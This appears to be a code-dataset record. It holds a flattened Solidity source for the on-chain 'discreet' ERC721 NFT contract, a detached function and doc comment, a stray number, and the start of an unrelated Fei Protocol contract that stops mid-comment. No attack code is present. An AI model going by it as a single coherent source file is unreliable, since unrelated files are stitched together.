32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is ERC165, IERC721, IERC721Metadata { // Token name bytes8 private immutable _name; // Token symbol bytes8 private immutable _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(bytes8 name_, bytes8 symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() external view virtual override returns (string memory) { return string(abi.encodePacked(_name)); } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() external view virtual override returns (string memory) { return string(abi.encodePacked(_symbol)); } /** * @dev NOTE: standard functionality overridden. */ function tokenURI(uint256 tokenId) external view virtual override returns (string memory) {} /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) external virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) external virtual override { require(operator != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) external virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, ""), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { uint256 size; assembly { size := extcodesize(to) } if (size > 0) { try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) external view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev discreet (full set — replaces the 576 orignal and 288 extra NFTs and * adds an additional 432 for 1296 in total) * @author 0age */ contract discreetNFT is discreetNFTInterface, ERC721, ERC721Enumerable, IERC721Receiver { // Map tokenIds to block numbers past which they are burnable by any caller. mapping(uint256 => uint256) private _reclaimableThreshold; // Map transaction submitters to the block number of their last token mint. mapping(address => uint256) private _lastTokenMinted; discreetNFTInterface public constant originalSet = discreetNFTInterface( 0x3c77065B584D4Af705B3E38CC35D336b081E4948 ); discreetNFTInterface public constant extraSet = discreetNFTInterface( 0x04C0567cdBB51c3a9B1C907a56A5edA0EdeeBf71 ); uint256 public immutable migrationEnds; // Fixed base64-encoded SVG fragments used across all images. bytes32 private constant h0 = 'data:image/svg+xml;base64,PD94bW'; bytes32 private constant h1 = 'wgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz'; bytes32 private constant h2 = '0iVVRGLTgiPz48c3ZnIHZpZXdCb3g9Ij'; bytes32 private constant h3 = 'AgMCA1MDAgNTAwIiB4bWxucz0iaHR0cD'; bytes32 private constant h4 = 'ovL3d3dy53My5vcmcvMjAwMC9zdmciIH'; bytes32 private constant h5 = 'N0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOi'; bytes4 private constant m0 = 'iPjx'; bytes10 private constant m1 = 'BmaWxsPSIj'; bytes16 private constant f0 = 'IiAvPjwvc3ZnPg=='; /** * @dev Deploy discreet as an ERC721 NFT. */ constructor() ERC721("discreet", "DISCREET") { // Set up ENS reverse registrar. IENSReverseRegistrar _ensReverseRegistrar = IENSReverseRegistrar( 0x084b1c3C81545d370f3634392De611CaaBFf8148 ); _ensReverseRegistrar.claim(msg.sender); _ensReverseRegistrar.setName("discreet.eth"); migrationEnds = block.number + 21600; // ~3 days } /** * @dev Throttle minting to once a block and reset the reclamation threshold * whenever a new token is minted or transferred. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); // If minting: ensure it's the only one from this tx origin in the block. if (from == address(0)) { require( block.number > _lastTokenMinted[tx.origin], "discreet: cannot mint multiple tokens per block from a single origin" ); _lastTokenMinted[tx.origin] = block.number; } // If not burning: reset tokenId's reclaimable threshold block number. if (to != address(0)) { _reclaimableThreshold[tokenId] = block.number + 0x400000; } } /** * @dev Wrap an original or extra discreet NFT when transferred to this * contract via `safeTransferFrom` during the migration period. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external override returns (bytes4) { require( block.number < migrationEnds, "discreet: token migration is complete." ); require( msg.sender == address(originalSet) || msg.sender == address(extraSet), "discreet: only accepts original or extra set discreet tokens." ); if (msg.sender == address(originalSet)) { require( tokenId < 0x240, "discreet: only accepts original set discreet tokens with metadata" ); _safeMint(from, tokenId); } else { require( tokenId < 0x120, "discreet: only accepts extra set discreet tokens with metadata" ); _safeMint(from, tokenId + 0x240); } return this.onERC721Received.selector; } /** * @dev Mint a given discreet NFT if it is currently available. */ function mint(uint256 tokenId) external override { require( tokenId < 0x510, "discreet: cannot mint out-of-range token" ); if (tokenId < 0x360) { require( block.number >= migrationEnds, "discreet: cannot mint tokens from original or extra set until migration is complete." ); } _safeMint(msg.sender, tokenId); } /** * @dev Mint a given NFT if it is currently available to a given address. */ function mint(address to, uint256 tokenId) external override { require( tokenId < 0x510, "discreet: cannot mint out-of-range token" ); if (tokenId < 0x360) { require( block.number >= migrationEnds, "discreet: cannot mint tokens from original or extra set until migration is complete." ); } _safeMint(to, tokenId); } /** * @dev Burn a given discreet NFT if it is owned, approved or reclaimable. * Tokens become reclaimable after ~4 million blocks without a transfer. */ function burn(uint256 tokenId) external override { require( tokenId < 0x510, "discreet: cannot burn out-of-range token" ); // Only enforce check if tokenId has not reached reclaimable threshold. if (!isReclaimable(tokenId)) { require( _isApprovedOrOwner(msg.sender, tokenId), "discreet: caller is not owner nor approved" ); } _burn(tokenId); } /** * @dev Check the current block number at which the given token will become * reclaimable. */ function reclaimableThreshold(uint256 tokenId) public view override returns (uint256) { require(tokenId < 0x510, "discreet: out-of-range token"); return _reclaimableThreshold[tokenId]; } /** * @dev Check whether a given token is currently reclaimable. */ function isReclaimable(uint256 tokenId) public view override returns (bool) { return reclaimableThreshold(tokenId) < block.number; } /** * @dev Derive and return a discreet tokenURI image formatted as a data URI. */ function tokenImageURI(uint256 tokenId) public view virtual override returns (string memory) { require(tokenId < 0x510, "discreet: URI image query for out-of-range token"); // Nine base64-encoded SVG fragments for background colors. bytes9[9] memory c0 = [ bytes9('MwMDAwMDA'), 'M2OWZmMzc', 'NmZjM3Njk', 'MzNzY5ZmY', 'NmZmZmOTA', 'M5MGZmZmY', 'NmZjkwZmY', 'NmZmZmZmY', 'M4MDgwODA' ]; // Eighteen base64-encoded SVG fragments for primary shapes. string[18] memory s0 = [ 'yZWN0IHg9IjE1NSIgeT0iNTUiIHdpZHRoPSIxOTAiIGhlaWdodD0iMzkwIi', 'yZWN0IHg9IjU1IiB5PSIxNTUiIHdpZHRoPSIzOTAiIGhlaWdodD0iMTkwIi', 'yZWN0IHg9IjExNSIgeT0iMTE1IiB3aWR0aD0iMjcwIiBoZWlnaHQ9IjI3MCIgIC', 'jaXJjbGUgY3g9IjI1MCIgY3k9IjI1MCIgcj0iMTY1Ii', 'lbGxpcHNlIGN4PSIyNTAiIGN5PSIyNTAiIHJ4PSIxMjUiIHJ5PSIxOTUiIC', 'lbGxpcHNlIGN4PSIyNTAiIGN5PSIyNTAiIHJ4PSIxOTUiIHJ5PSIxMjUiIC', 'wb2x5Z29uIHBvaW50cz0iMTAwLDEzNSAyNTAsNDAwIDQwMCwxMzUiIC', 'wb2x5Z29uIHBvaW50cz0iNDAwLDM2NSAyNTAsMTAwIDEwMCwzNjUiIC', 'wb2x5Z29uIHBvaW50cz0iNDAwLDEwMCA0MDAsNDAwIDEwMCw0MDAiIC', 'wb2x5Z29uIHBvaW50cz0iMTAwLDQwMCA0MDAsNDAwIDEwMCwxMDAiIC', 'wb2x5Z29uIHBvaW50cz0iMTAwLDQwMCA0MDAsMTAwIDEwMCwxMDAiIC', 'wb2x5Z29uIHBvaW50cz0iNDAwLDQwMCA0MDAsMTAwIDEwMCwxMDAiIC', 'wb2x5Z29uIHBvaW50cz0iMjMwLDQwMCAyNzAsNDAwIDI3MCwyNzAgNDAwLDI3MCA0MDAsMjMwIDI3MCwyMzAgMjcwLDEwMCAyMzAsMTAwIDIzMCwyMzAgMTAwLDIzMCAxMDAsMjcwIDIzMCwyNzAiIC', 'wb2x5Z29uIHBvaW50cz0iMjMwLDQwMCAyNzAsNDAwIDI3MCwyNzAgNDAwLDI3MCA0MDAsMjMwIDI3MCwyMzAgMjcwLDEwMCAyMzAsMTAwIDIzMCwyMzAgMTAwLDIzMCAxMDAsMjcwIDIzMCwyNzAiIHRyYW5zZm9ybT0icm90YXRlKDQ1LDI1MCwyNTApIi', 'wb2x5Z29uIHBvaW50cz0iMjUwLDQwMCAzNTAsMjUwIDI1MCwxMDAgMTUwLDI1MCIgIC', 'wb2x5Z29uIHBvaW50cz0iMjUwLDEwMCAzMzgsMzcxIDEwNywyMDQgMzkzLDIwNCAxNjIsMzcxIi', 'wb2x5Z29uIHBvaW50cz0iMzgwLDE3NSAzODAsMzI1IDI1MCw0MDAgMTIwLDMyNSAxMjAsMTc1IDI1MCwxMDAiIC', 'wYXRoIGQ9Ik0wIDIwMCB2LTIwMCBoMjAwIGExMywxMSAwIDAsMSAwLDIwMCBhMTEsMTMgMCAwLDEgLTIwMCwwIiB0cmFuc2Zvcm09InJvdGF0ZSgyMjUsMjA4LDE0OCkgc2NhbGUoMC45MikiIC' ]; // Nine base64-encoded SVG fragments for primary colors. bytes8[9] memory c1 = [ bytes8('NjlmZjM3'), 'ZmYzNzY5', 'Mzc2OWZm', 'ZmZmZjkw', 'OTBmZmZm', 'ZmY5MGZm', 'ZmZmZmZm', 'ODA4MDgw', 'MDAwMDAw' ]; // Construct a discrete tokenURI from a unique combination of the above. uint256 c0i = (tokenId % 72) / 8; uint256 s0i = tokenId / 72; uint256 c1i = (tokenId % 8 + (tokenId / 8)) % 9; return string( abi.encodePacked( h0, h1, h2, h3, h4, h5, c0[c0i], m0, s0[s0i], m1, c1[c1i], f0 ) ); } /** * @dev Derive and return a tokenURI json payload formatted as a * data URI. */ function tokenURI(uint256 tokenId) external view virtual override returns (string memory) { string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "discreet #', _toString(tokenId), '", "description": "One of 1296 distinct images, stored and derived ', 'entirely on-chain, that comprise the discreet.eth collection. It ', 'will become reclaimable if 4,194,304 blocks elapse without this ', 'token being minted or transferred.", "image": "', tokenImageURI(tokenId), '"}' ) ) ) ); return string(abi.encodePacked('data:application/json;base64,', json)); } /** * @dev Derive and return a contract-level json payload formatted as a * data URI. */ function contractURI() public view returns (string memory) { return string( abi.encodePacked( 'data:application/json;base64,', Base64.encode( bytes( string( abi.encodePacked( '{"name": "discreet.eth", ', '"description": "A set of 1296 distinct images, stored and derived entirely ', 'on-chain, that comprise the discreet.eth collection. Each token will ', 'become reclaimable if 4,194,304 blocks elapse without a mint or transfer of ', 'the token in question. Created with #1283 by 0age."}' ) ) ) ) ) ); } /** * @dev Coalesce supportsInterface from inherited contracts. */ function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function _toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } }
See {IERC721Metadata-name}./
function name() external view virtual override returns (string memory) { return string(abi.encodePacked(_name)); }
2,136,863
// hevm: flattened sources of ./contracts/token/UniswapIncentive.sol pragma solidity >=0.4.0 >=0.5.0 >=0.6.2 >=0.6.0 <0.7.0 >=0.6.0 <0.8.0 >=0.6.2 <0.7.0 >=0.6.2 <0.8.0; pragma experimental ABIEncoderV2; ////// ./contracts/core/IPermissions.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /// @title Permissions interface /// @author Fei Protocol interface IPermissions { // ----------- Governor only state changing api ----------- function createRole(bytes32 role, bytes32 adminRole) external; function grantMinter(address minter) external; function grantBurner(address burner) external; function grantPCVController(address pcvController) external; function grantGovernor(address governor) external; function grantGuardian(address guardian) external; function revokeMinter(address minter) external; function revokeBurner(address burner) external; function revokePCVController(address pcvController) external; function revokeGovernor(address governor) external; function revokeGuardian(address guardian) external; // ----------- Revoker only state changing api ----------- function revokeOverride(bytes32 role, address account) external; // ----------- Getters ----------- function isBurner(address _address) external view returns (bool); function isMinter(address _address) external view returns (bool); function isGovernor(address _address) external view returns (bool); function isGuardian(address _address) external view returns (bool); function isPCVController(address _address) external view returns (bool); } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20_5 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// ./contracts/token/IFei.sol /* pragma solidity ^0.6.2; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/token/ERC20/IERC20.sol"; */ /// @title FEI stablecoin interface /// @author Fei Protocol interface IFei is IERC20_5 { // ----------- Events ----------- event Minting( address indexed _to, address indexed _minter, uint256 _amount ); event Burning( address indexed _to, address indexed _burner, uint256 _amount ); event IncentiveContractUpdate( address indexed _incentivized, address indexed _incentiveContract ); // ----------- State changing api ----------- function burn(uint256 amount) external; function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; // ----------- Burner only state changing api ----------- function burnFrom(address account, uint256 amount) external; // ----------- Minter only state changing api ----------- function mint(address account, uint256 amount) external; // ----------- Governor only state changing api ----------- function setIncentiveContract(address account, address incentive) external; // ----------- Getters ----------- function incentiveContract(address account) external view returns (address); } ////// ./contracts/core/ICore.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "./IPermissions.sol"; */ /* import "../token/IFei.sol"; */ /// @title Core Interface /// @author Fei Protocol interface ICore is IPermissions { // ----------- Events ----------- event FeiUpdate(address indexed _fei); event TribeUpdate(address indexed _tribe); event GenesisGroupUpdate(address indexed _genesisGroup); event TribeAllocation(address indexed _to, uint256 _amount); event GenesisPeriodComplete(uint256 _timestamp); // ----------- Governor only state changing api ----------- function init() external; // ----------- Governor only state changing api ----------- function setFei(address token) external; function setTribe(address token) external; function setGenesisGroup(address _genesisGroup) external; function allocateTribe(address to, uint256 amount) external; // ----------- Genesis Group only state changing api ----------- function completeGenesisGroup() external; // ----------- Getters ----------- function fei() external view returns (IFei); function tribe() external view returns (IERC20_5); function genesisGroup() external view returns (address); function hasGenesisGroupCompleted() external view returns (bool); } ////// ./contracts/external/SafeMathCopy.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathCopy { // To avoid namespace collision between openzeppelin safemath and uniswap safemath /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned 